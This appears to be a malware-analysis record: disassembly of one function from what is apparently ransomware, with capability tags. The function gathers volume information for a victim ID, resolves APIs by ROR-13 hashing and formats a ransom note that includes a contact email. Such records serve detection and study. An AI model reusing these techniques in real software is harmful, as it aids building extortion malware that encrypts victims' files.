Function at 0x1400220b0
Capabilities:
Get disk information
Reference public rsa key

Disassembly:
sub rsp, 0x528
mov rax, qword [0x14009b0c0]
xor rax, rsp
mov qword [rsp + 0x510], rax
xor edx, edx
lea rcx, [rsp + 0x300]
mov r8d, 0x20a
call fcn.14007ed20
xor edx, edx
lea rcx, [rsp + 0xf0]
mov r8d, 0x20a
call fcn.14007ed20
xor eax, eax
mov dword [rsp + 0x38], 0x105
mov dword [rsp + 0x40], eax
lea r9, [rsp + 0x40]
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x300]
mov dword [rsp + 0x44], eax
lea rcx, [0x140090590]
lea rax, [rsp + 0xf0]
mov r8d, 0x105
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x1400221c9
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140021c60
cmp qword [rsp + 0x68], 7
lea r9, [rsp + 0x50]
lea r8, [0x140090148]
mov edx, 0x10
cmova r9, qword [rsp + 0x50]
lea rcx, [0x14009ede0]
call fcn.140021b40
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400221f1
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400221c2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400223fd
call fcn.140053554
jmp 0x1400221f1
mov eax, dword [0x1400905a8]
movups xmm0, xmmword [str..Encrypted]
mov dword [0x14009edf0], eax
movzx eax, word [0x1400905ac]
movups xmmword [0x14009ede0], xmm0
mov word [0x14009edf4], ax
mov qword [rsp + 0x530], rbx
mov ebx, 0xffffffff
mov qword [rsp + 0x538], rbp
mov qword [rsp + 0x540], rsi
mov esi, 0x115
mov qword [rsp + 0x548], rdi
lea rdi, [0x14008db40]
mov qword [rsp + 0x520], r14
mov rbp, rdi
mov r14d, esi
movzx ecx, byte [rbp]
lea rbp, [rbp + 1]
call fcn.14005f254
ror ebx, 0xd
movzx ecx, ax
add ebx, ecx
add r14d, 0xffffffff
jne 0x140022230
mov rbp, rdi
mov r14d, esi
movzx ecx, byte [rbp]
lea rbp, [rbp + 1]
call fcn.14005f254
ror ebx, 0xd
movzx ecx, ax
add ebx, ecx
add r14d, 0xffffffff
jne 0x140022251
mov rbp, rdi
mov r14d, esi
movzx ecx, byte [rbp]
lea rbp, [rbp + 1]
call fcn.14005f254
ror ebx, 0xd
movzx ecx, ax
add ecx, ebx
mov ebx, ecx
add r14d, 0xffffffff
jne 0x140022272
mov r14, qword [rsp + 0x520]
lea r8, str.___X__
mov rbp, qword [rsp + 0x538]
mov r9d, ecx
lea rcx, [rsp + 0x70]
mov edx, 0x80
call fcn.140021c00
mov edx, 0xf
mov r8d, 0x623e9318
lea r9d, [rdx + 0x3f]
call fcn.1400057e0
call rax
mov edx, 0xf
mov r8d, 0xe343b540
mov rbx, rax
lea r9d, [rdx + 0x40]
call fcn.1400057e0
mov edx, 8
mov r8d, 0x4000
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x530]
mov qword [0x14009edd8], rax
test rax, rax
je 0x140022330
lea rcx, str._systemic50
mov qword [rsp + 0x20], rcx
lea r9, str.adm.systemic_gmail.com
mov rcx, rax
lea r8, [rsp + 0x70]
lea rdx, str.Your_Files_Have_Been_Locked__r_n_r_nImportant_Notice__r_nAll_of_your_essential_files_have_been_encrypted_and_secured_by_our_sophisticated_technology._r_nTo_regain_access__youll_need_our_unique_decryption_software
call fcn.140021ba0
mov r8d, 0xffffffff
mov r10d, esi
mov r9, rdi
nop dword [rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
ror r8d, 0xd
mov ecx, edx
or ecx, 0x20
lea eax, [rdx - 0x41]
cmp eax, 0x19
cmova ecx, edx
add r8d, ecx
add r10d, 0xffffffff
jne 0x140022340
mov r10d, esi
mov r9, rdi
nop dword [rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
ror r8d, 0xd
mov ecx, edx
or ecx, 0x20
lea eax, [rdx - 0x41]
cmp eax, 0x19
cmova ecx, edx
add r8d, ecx
add r10d, 0xffffffff
jne 0x140022370
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rdi]
lea rdi, [rdi + 1]
ror r8d, 0xd
mov ecx, edx
or ecx, 0x20
lea eax, [rdx - 0x41]
cmp eax, 0x19
cmova ecx, edx
add r8d, ecx
add esi, 0xffffffff
jne 0x1400223a0
mov rdi, qword [rsp + 0x548]
lea rdx, [0x1400905e0]
mov rsi, qword [rsp + 0x540]
lea rcx, [0x14009ef90]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x510]
xor rcx, rsp
call fcn.140052f30
add rsp, 0x528
ret
call fcn.140059d54
int3